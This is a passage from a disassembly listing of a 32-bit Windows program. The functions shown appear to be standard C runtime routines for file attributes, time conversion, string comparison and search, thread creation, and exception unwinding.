loc_42A5E8: ; CODE XREF: sub_42A510+72j
; sub_42A510+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_42A510 endp
; =============== S U B R O U T I N E =======================================
sub_42A5F0 proc near ; CODE XREF: sub_4053EE+344p
; sub_42B019+29p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_43706C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_42A610
call dword_43716C ; RtlGetLastWin32Error
push eax
call sub_42EFD6
pop ecx
loc_42A60C: ; CODE XREF: sub_42A5F0+41j
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_42A610: ; CODE XREF: sub_42A5F0+Dj
test al, 1
jz short loc_42A633
test [esp+arg_4], 2
jz short loc_42A633
call sub_42F049
mov dword ptr [eax], 0Dh
call sub_42F052
mov dword ptr [eax], 5
jmp short loc_42A60C
; ---------------------------------------------------------------------------
loc_42A633: ; CODE XREF: sub_42A5F0+22j
; sub_42A5F0+29j
xor eax, eax
retn
sub_42A5F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42A636(double)
sub_42A636 proc near ; CODE XREF: sub_405C6A+512p
; sub_40A938+1922p ...
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_450E30
call sub_430323
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_42A6BC
call sub_4301EB
pop ecx
test eax, eax
pop ecx
jle short loc_42A69F
cmp eax, 2
jle short loc_42A691
cmp eax, 3
jnz short loc_42A69F
fld [ebp+arg_0]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
push 0Ch ; int
call sub_42FAF8
add esp, 10h
jmp short loc_42A701
; ---------------------------------------------------------------------------
loc_42A691: ; CODE XREF: sub_42A636+3Fj
push esi
push ebx
call sub_430323
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_42A701
; ---------------------------------------------------------------------------
loc_42A69F: ; CODE XREF: sub_42A636+3Aj
; sub_42A636+44j
fld [ebp+arg_0]
fadd dbl_437430
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_42A6F9
; ---------------------------------------------------------------------------
loc_42A6BC: ; CODE XREF: sub_42A636+2Fj
call sub_4301B0
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_42A6DF
loc_42A6D1: ; CODE XREF: sub_42A636+ACj
push esi
push ebx
call sub_430323
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_42A701
; ---------------------------------------------------------------------------
loc_42A6DF: ; CODE XREF: sub_42A636+99j
test bl, 20h
jnz short loc_42A6D1
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_42A6F9: ; CODE XREF: sub_42A636+84j
call sub_42FB4C
add esp, 1Ch
loc_42A701: ; CODE XREF: sub_42A636+59j
; sub_42A636+67j ...
pop esi
pop ebx
leave
retn
sub_42A636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A705 proc near ; CODE XREF: sub_405C6A+30Fp
; sub_41DAA5+35p ...
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_437138 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_437218 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_6768F2
jnz short loc_42A76A
mov ax, [ebp+var_18]
cmp ax, word_6768F0
jnz short loc_42A76A
mov ax, [ebp+var_1A]
cmp ax, word_6768EE
jnz short loc_42A76A
mov ax, [ebp+var_1E]
cmp ax, word_6768EA
jnz short loc_42A76A
mov ax, [ebp+var_20]
cmp ax, word_6768E8
jnz short loc_42A76A
mov eax, dword_6768E0
jmp short loc_42A7AF
; ---------------------------------------------------------------------------
loc_42A76A: ; CODE XREF: sub_42A705+28j
; sub_42A705+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_437214 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_42A797
cmp eax, 2
jnz short loc_42A793
cmp [ebp+var_32], 0
jz short loc_42A793
cmp [ebp+var_24], 0
jz short loc_42A793
push 1
pop eax
jmp short loc_42A79A
; ---------------------------------------------------------------------------
loc_42A793: ; CODE XREF: sub_42A705+7Aj
; sub_42A705+81j ...
xor eax, eax
jmp short loc_42A79A
; ---------------------------------------------------------------------------
loc_42A797: ; CODE XREF: sub_42A705+75j
or eax, 0FFFFFFFFh
loc_42A79A: ; CODE XREF: sub_42A705+8Cj
; sub_42A705+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_6768E8
movsd
movsd
movsd
movsd
pop edi
mov dword_6768E0, eax
pop esi
loc_42A7AF: ; CODE XREF: sub_42A705+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_43039C
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_42A7DF
mov [ecx], eax
locret_42A7DF: ; CODE XREF: sub_42A705+D6j
leave
retn
sub_42A705 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A7F0 proc near ; CODE XREF: sub_405C6A+33p
; sub_405C6A+D6p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_676980
cmp dword ptr [eax+8], 0
jnz short loc_42A843
mov al, 0FFh
mov edi, edi
loc_42A80C: ; CODE XREF: sub_42A7F0+28j
; sub_42A7F0+48j
or al, al
jz short loc_42A83E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_42A80C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_42A80C
sbb al, al
sbb al, 0FFh
loc_42A83E: ; CODE XREF: sub_42A7F0+1Ej
movsx eax, al
jmp short loc_42A8BB
; ---------------------------------------------------------------------------
loc_42A843: ; CODE XREF: sub_42A7F0+16j
lock inc dword_676EBC
cmp dword_676EB8, 0
jg short loc_42A857
push 0
jmp short loc_42A86C
; ---------------------------------------------------------------------------
loc_42A857: ; CODE XREF: sub_42A7F0+61j
lock dec dword_676EBC
push 13h
call sub_42DA1F
mov [esp+10h+var_10], 1
loc_42A86C: ; CODE XREF: sub_42A7F0+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_42A874: ; CODE XREF: sub_42A7F0+90j
; sub_42A7F0+A8j
or al, al
jz short loc_42A89F
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_42A874
push eax
push ebx
call sub_4304CD
mov ebx, eax
add esp, 4
call sub_4304CD
add esp, 4
cmp bl, al
jz short loc_42A874
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A89F: ; CODE XREF: sub_42A7F0+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_42A8AF
lock dec dword_676EBC
jmp short loc_42A8B9
; ---------------------------------------------------------------------------
loc_42A8AF: ; CODE XREF: sub_42A7F0+B4j
push 13h
call sub_42DA80
add esp, 4
loc_42A8B9: ; CODE XREF: sub_42A7F0+BDj
mov eax, ebx
loc_42A8BB: ; CODE XREF: sub_42A7F0+51j
pop ebx
pop esi
pop edi
leave
retn
sub_42A7F0 endp
; =============== S U B R O U T I N E =======================================
sub_42A8C0 proc near ; CODE XREF: sub_4305E8+21p
; sub_430A37+9p
; DATA XREF: ...
call sub_42A8D8
call sub_4305E8
mov dword_6768FC, eax
call sub_430598
fnclex
retn
sub_42A8C0 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42A8D8 proc near ; CODE XREF: sub_42A8C0p
mov eax, offset sub_4309C1
mov off_453800, offset loc_43066B
mov off_4537FC, eax
mov off_453804, offset sub_4306D1
mov off_453808, offset sub_430611
mov off_45380C, offset loc_4306B9
mov off_453810, eax
retn
sub_42A8D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A910 proc near ; CODE XREF: sub_405C6A+517p
; sub_40A938+1929p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_42A910 endp
; =============== S U B R O U T I N E =======================================
sub_42A937 proc near ; CODE XREF: sub_40978A+2D5p
; sub_40978A+302p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_42A94E
loc_42A944: ; CODE XREF: sub_42A937+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_42A944
loc_42A94E: ; CODE XREF: sub_42A937+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_42A937 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A954 proc near ; CODE XREF: sub_40978A+171p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, offset dword_676EBC
push edi
push esi
call dword_437220 ; InterlockedIncrement
mov edi, dword_43721C
xor ebx, ebx
cmp dword_676EB8, ebx
jz short loc_42A984
push esi
call edi ; dword_43721C
push 13h
call sub_42DA1F
pop ecx
push 1
pop ebx
loc_42A984: ; CODE XREF: sub_42A954+20j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42A9B1
add esp, 0Ch
mov [ebp+arg_8], eax
test ebx, ebx
jz short loc_42A9A6
push 13h
call sub_42DA80
pop ecx
jmp short loc_42A9A9
; ---------------------------------------------------------------------------
loc_42A9A6: ; CODE XREF: sub_42A954+46j
push esi
call edi ; dword_43721C
loc_42A9A9: ; CODE XREF: sub_42A954+50j
mov eax, [ebp+arg_8]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42A954 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A9B1 proc near ; CODE XREF: sub_42A954+39p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_42AA7F
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_42AAAC
cmp dword_676988, esi
jnz short loc_42AA02
cmp edi, esi
jbe loc_42AAAC
loc_42A9E1: ; CODE XREF: sub_42A9B1+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_42AAAC
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_42A9E1
jmp loc_42AAAC
; ---------------------------------------------------------------------------
loc_42AA02: ; CODE XREF: sub_42A9B1+26j
mov ebx, [ebp+arg_4]
mov esi, dword_437180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_676998
call esi ; dword_437180
test eax, eax
jnz loc_42AAAB
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_42AA3D
loc_42AA2D: ; CODE XREF: sub_42A9B1+CCj
; sub_42A9B1+F8j
call sub_42F049
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42AAAC
; ---------------------------------------------------------------------------
loc_42AA3D: ; CODE XREF: sub_42A9B1+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_42AA45: ; CODE XREF: sub_42A9B1+B4j
mov cl, [eax]
test cl, cl
jz short loc_42AA67
mov edx, off_453398
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_42AA5C
inc eax
loc_42AA5C: ; CODE XREF: sub_42A9B1+A8j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_42AA45
loc_42AA67: ; CODE XREF: sub_42A9B1+98j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_676998
call esi ; dword_437180
test eax, eax
jnz short loc_42AAAC
jmp short loc_42AA2D
; ---------------------------------------------------------------------------
loc_42AA7F: ; CODE XREF: sub_42A9B1+Fj
cmp dword_676988, esi
jnz short loc_42AA92
push [ebp+arg_4]
call sub_4292D0
pop ecx
jmp short loc_42AAAC
; ---------------------------------------------------------------------------
loc_42AA92: ; CODE XREF: sub_42A9B1+D4j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_676998
call dword_437180 ; MultiByteToWideChar
cmp eax, esi
jz short loc_42AA2D
loc_42AAAB: ; CODE XREF: sub_42A9B1+6Bj
dec eax
loc_42AAAC: ; CODE XREF: sub_42A9B1+1Aj
; sub_42A9B1+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42A9B1 endp
; =============== S U B R O U T I N E =======================================
sub_42AAB1 proc near ; CODE XREF: sub_409F80+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
push 74h
push 1
xor edi, edi
call sub_42B2CA
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42AB0C
push esi
call sub_42E40B
mov eax, [esp+0Ch+arg_0]
pop ecx
push esi
push 4
push esi
push offset sub_42AB28
push [esp+18h+arg_4]
mov [esi+48h], eax
mov eax, [esp+1Ch+arg_8]
push edi
mov [esi+4Ch], eax
call dword_43717C ; CreateThread
mov edi, eax
test edi, edi
mov [esi+4], edi
jz short loc_42AB04
push edi
call dword_437224 ; ResumeThread
cmp eax, 0FFFFFFFFh
jnz short loc_42AB23
loc_42AB04: ; CODE XREF: sub_42AAB1+45j
call dword_43716C ; RtlGetLastWin32Error
mov edi, eax
loc_42AB0C: ; CODE XREF: sub_42AAB1+13j
push esi
call sub_429822
test edi, edi
pop ecx
jz short loc_42AB1E
push edi
call sub_42EFD6
pop ecx
loc_42AB1E: ; CODE XREF: sub_42AAB1+64j
or eax, 0FFFFFFFFh
jmp short loc_42AB25
; ---------------------------------------------------------------------------
loc_42AB23: ; CODE XREF: sub_42AAB1+51j
mov eax, edi
loc_42AB25: ; CODE XREF: sub_42AAB1+70j
pop edi
pop esi
retn
sub_42AAB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AB28 proc near ; DATA XREF: sub_42AAB1+24o
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437438
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov esi, [ebp+arg_0]
push esi
push dword_453220
call dword_437228 ; TlsSetValue
test eax, eax
jnz short loc_42AB6A
push 10h
call sub_42C5AC
pop ecx
loc_42AB6A: ; CODE XREF: sub_42AB28+38j
mov eax, off_450E4C
test eax, eax
jz short loc_42AB75
call eax ; nullsub_2
loc_42AB75: ; CODE XREF: sub_42AB28+49j
and [ebp+var_4], 0
push dword ptr [esi+4Ch]
call dword ptr [esi+48h]
pop ecx
call sub_42ABBB
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_42AB28 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-1Ch], ecx
push eax
push ecx
call sub_430B57
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-1Ch]
call sub_430A75
; =============== S U B R O U T I N E =======================================
sub_42ABBB proc near ; CODE XREF: sub_42AB28+58p
mov eax, off_450E50
test eax, eax
jz short loc_42ABC6
call eax ; nullsub_2
loc_42ABC6: ; CODE XREF: sub_42ABBB+7j
push esi
call sub_42E41E
mov esi, eax
test esi, esi
jnz short loc_42ABDA
push 10h
call sub_42C5AC
pop ecx
loc_42ABDA: ; CODE XREF: sub_42ABBB+15j
mov eax, [esi+4]
cmp eax, 0FFFFFFFFh
jz short loc_42ABE9
push eax
call dword_437044 ; CloseHandle
loc_42ABE9: ; CODE XREF: sub_42ABBB+25j
push esi
call sub_42E485
pop ecx
push 0
call dword_437170 ; ExitThread
pop esi
retn
sub_42ABBB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ABFC proc near ; CODE XREF: sub_42ACF4+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_42AC14
push [ebp+arg_0]
call sub_436230 ; RtlUnwind
loc_42AC14: ; DATA XREF: sub_42ABFC+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42ABFC endp
; =============== S U B R O U T I N E =======================================
sub_42AC1C proc near ; DATA XREF: sub_42AC3E+Ao
; sub_42ACA6+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_42AC3D
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_42AC3D: ; CODE XREF: sub_42AC1C+10j
retn
sub_42AC1C endp
; =============== S U B R O U T I N E =======================================
sub_42AC3E proc near ; CODE XREF: sub_42ACF4+67p
; sub_42ACF4+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_42AC1C
push large dword ptr fs:0
mov large fs:0, esp
loc_42AC5B: ; CODE XREF: sub_42AC3E:loc_42AC96j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_42AC98
cmp esi, [esp+1Ch+arg_4]
jz short loc_42AC98
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_42AC96
push 101h
mov eax, [ebx+esi*4+8]
call sub_42ACD2
call dword ptr [ebx+esi*4+8]
loc_42AC96: ; CODE XREF: sub_42AC3E+44j
jmp short loc_42AC5B
; ---------------------------------------------------------------------------
loc_42AC98: ; CODE XREF: sub_42AC3E+2Aj
; sub_42AC3E+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_42AC3E endp
; =============== S U B R O U T I N E =======================================
sub_42ACA6 proc near ; CODE XREF: sub_4317E1+3Fp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_42AC1C
jnz short locret_42ACC8
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_42ACC8
mov eax, 1
locret_42ACC8: ; CODE XREF: sub_42ACA6+10j
; sub_42ACA6+1Bj
retn
sub_42ACA6 endp
; =============== S U B R O U T I N E =======================================
sub_42ACC9 proc near ; CODE XREF: sub_431AB0+1Ep
; sub_431AB0+40p
push ebx
push ecx
mov ebx, offset dword_450E54
jmp short loc_42ACDC
sub_42ACC9 endp
; =============== S U B R O U T I N E =======================================
sub_42ACD2 proc near ; CODE XREF: sub_42AC3E+4Fp
; sub_42ACF4+78p
push ebx
push ecx
mov ebx, offset dword_450E54
mov ecx, [ebp+8]
loc_42ACDC: ; CODE XREF: sub_42ACC9+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_42ACD2 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ACF4 proc near ; DATA XREF: ?9:0040A4EFo
; sub_40A575+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_42AD94
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_42AD27: ; CODE XREF: sub_42ACF4+90j
cmp esi, 0FFFFFFFFh
jz short loc_42AD8D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42AD7B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42AD7B
js short loc_42AD86
mov edi, [ebx+8]
push ebx
call sub_42ABFC
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_42AC3E
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_42ACD2
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42AD7B: ; CODE XREF: sub_42ACF4+40j
; sub_42ACF4+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_42AD27
; ---------------------------------------------------------------------------
loc_42AD86: ; CODE XREF: sub_42ACF4+54j
mov eax, 0
jmp short loc_42ADA9
; ---------------------------------------------------------------------------
loc_42AD8D: ; CODE XREF: sub_42ACF4+36j
mov eax, 1
jmp short loc_42ADA9
; ---------------------------------------------------------------------------
loc_42AD94: ; CODE XREF: sub_42ACF4+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_42AC3E
add esp, 8
pop ebp
mov eax, 1
loc_42ADA9: ; CODE XREF: sub_42ACF4+97j
; sub_42ACF4+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42ACF4 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_42AC3E
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42ADD0 proc near ; CODE XREF: sub_40A5FF+29p
; sub_40A633+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_42AE4A
mov dh, [ecx+1]
test dh, dh
jz short loc_42AE37
loc_42ADE8: ; CODE XREF: sub_42ADD0+52j
; sub_42ADD0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_42AE0A
test al, al
jz short loc_42AE04
loc_42ADF9: ; CODE XREF: sub_42ADD0+32j
mov al, [esi]
inc esi
loc_42ADFC: ; CODE XREF: sub_42ADD0+3Fj
cmp al, dl
jz short loc_42AE0A
test al, al
jnz short loc_42ADF9
loc_42AE04: ; CODE XREF: sub_42ADD0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42AE0A: ; CODE XREF: sub_42ADD0+23j
; sub_42ADD0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_42ADFC
lea edi, [esi-1]
loc_42AE14: ; CODE XREF: sub_42ADD0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_42AE43
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_42ADE8
mov al, [ecx+3]
test al, al
jz short loc_42AE43
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_42AE14
jmp short loc_42ADE8
; ---------------------------------------------------------------------------
loc_42AE37: ; CODE XREF: sub_42ADD0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_42B0D6
; ---------------------------------------------------------------------------
loc_42AE43: ; CODE XREF: sub_42ADD0+49j
; sub_42ADD0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_42AE4A: ; CODE XREF: sub_42ADD0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_42ADD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AE50 proc near ; CODE XREF: sub_40A938+869Cp
; sub_40A938+86A6p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp dword_676988, esi
push edi
mov [ebp+var_8], esi
jnz short loc_42AE8E
mov eax, [ebp+arg_0]
mov edx, eax
cmp byte ptr [eax], 0
jz loc_42AF80
loc_42AE72: ; CODE XREF: sub_42AE50+37j
mov cl, [edx]
cmp cl, 41h
jl short loc_42AE83
cmp cl, 5Ah
jg short loc_42AE83
add cl, 20h
mov [edx], cl
loc_42AE83: ; CODE XREF: sub_42AE50+27j
; sub_42AE50+2Cj
inc edx
cmp byte ptr [edx], 0
jnz short loc_42AE72
jmp loc_42AF80
; ---------------------------------------------------------------------------
loc_42AE8E: ; CODE XREF: sub_42AE50+12j
mov edi, offset dword_676EBC
push edi
call dword_437220 ; InterlockedIncrement
cmp dword_676EB8, esi
jz short loc_42AEBA
push edi
call dword_43721C ; InterlockedDecrement
push 13h
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
jmp short loc_42AEBD
; ---------------------------------------------------------------------------
loc_42AEBA: ; CODE XREF: sub_42AE50+50j
mov [ebp+var_4], esi
loc_42AEBD: ; CODE XREF: sub_42AE50+68j
mov eax, dword_676988
cmp eax, esi
jnz short loc_42AF03
cmp [ebp+var_4], esi
jz short loc_42AED5
push 13h
call sub_42DA80
pop ecx
jmp short loc_42AEDC
; ---------------------------------------------------------------------------
loc_42AED5: ; CODE XREF: sub_42AE50+79j
push edi
call dword_43721C ; InterlockedDecrement
loc_42AEDC: ; CODE XREF: sub_42AE50+83j
mov eax, [ebp+arg_0]
mov edx, eax
cmp byte ptr [eax], 0
jz loc_42AF80
loc_42AEEA: ; CODE XREF: sub_42AE50+AFj
mov cl, [edx]
cmp cl, 41h
jl short loc_42AEFB
cmp cl, 5Ah
jg short loc_42AEFB
add cl, 20h
mov [edx], cl
loc_42AEFB: ; CODE XREF: sub_42AE50+9Fj
; sub_42AE50+A4j
inc edx
cmp byte ptr [edx], 0
jnz short loc_42AEEA
jmp short loc_42AF80
; ---------------------------------------------------------------------------
loc_42AF03: ; CODE XREF: sub_42AE50+74j
push ebx
push 1
push esi
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_0]
mov esi, 100h
push esi
push eax
call sub_430CCF
mov ebx, eax
add esp, 20h
test ebx, ebx
jz short loc_42AF5C
push ebx
call sub_4296E8
test eax, eax
pop ecx
mov [ebp+var_8], eax
jz short loc_42AF5C
push 1
push 0
push ebx
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_676988
call sub_430CCF
add esp, 20h
test eax, eax
jz short loc_42AF5C
push [ebp+var_8]
push [ebp+arg_0]
call sub_42A500
pop ecx
pop ecx
loc_42AF5C: ; CODE XREF: sub_42AE50+D1j
; sub_42AE50+DFj ...
cmp [ebp+var_4], 0
pop ebx
jz short loc_42AF6D
push 13h
call sub_42DA80
pop ecx
jmp short loc_42AF74
; ---------------------------------------------------------------------------
loc_42AF6D: ; CODE XREF: sub_42AE50+111j
push edi
call dword_43721C ; InterlockedDecrement
loc_42AF74: ; CODE XREF: sub_42AE50+11Bj
push [ebp+var_8]
call sub_429822
mov eax, [ebp+arg_0]
pop ecx
